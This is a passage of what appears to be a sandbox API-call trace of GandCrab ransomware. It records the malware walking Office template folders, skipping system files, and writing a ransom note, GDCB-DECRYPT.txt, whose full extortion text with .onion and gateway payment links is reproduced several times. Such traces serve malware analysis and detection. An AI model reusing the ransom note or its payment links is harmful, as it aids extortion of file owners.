lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0054.549] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b89f0 [0054.549] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.549] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.549] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.549] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.549] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.549] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.549] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.549] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0054.549] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned 98 [0054.549] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0054.549] FindClose (in: hFindFile=0x5b89f0 | out: hFindFile=0x5b89f0) returned 1 [0054.549] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.549] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\GDCB-DECRYPT.txt") returned 111 [0054.549] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0054.550] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.550] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0054.550] CloseHandle (hObject=0x508) returned 1 [0054.550] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned 94 [0054.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0054.551] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b87b0 [0054.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.551] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.551] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.551] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.551] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.551] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.551] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.551] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0054.551] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0054.551] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.551] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.551] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.551] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.551] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.551] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.551] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned 99 [0054.551] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0054.551] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5b8a70 [0054.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.551] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.551] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.551] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.551] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0054.551] FindClose (in: hFindFile=0x5b8a70 | out: hFindFile=0x5b8a70) returned 1 [0054.551] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.552] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\GDCB-DECRYPT.txt") returned 116 [0054.552] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0054.552] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.552] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0054.552] CloseHandle (hObject=0x50c) returned 1 [0054.553] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned 99 [0054.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0054.553] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5b8cb0 [0054.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.553] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.553] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0054.553] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.553] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0054.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0054.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0054.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.553] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.553] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.554] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0054.554] FindClose (in: hFindFile=0x5b8cb0 | out: hFindFile=0x5b8cb0) returned 1 [0054.554] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.554] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt" [0054.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.554] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0054.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0054.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0054.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.554] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.554] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0054.554] FindClose (in: hFindFile=0x5b87b0 | out: hFindFile=0x5b87b0) returned 1 [0054.554] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.554] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt" [0054.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.555] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0054.555] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0054.555] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0054.555] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.555] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.555] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0054.555] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0054.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0054.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0054.555] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.555] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned 96 [0054.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" [0054.555] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b89f0 [0054.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.556] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.556] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.556] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.556] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0054.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned 100 [0054.556] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0054.556] FindClose (in: hFindFile=0x5b89f0 | out: hFindFile=0x5b89f0) returned 1 [0054.556] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.556] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\GDCB-DECRYPT.txt") returned 113 [0054.556] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0054.557] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.557] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, 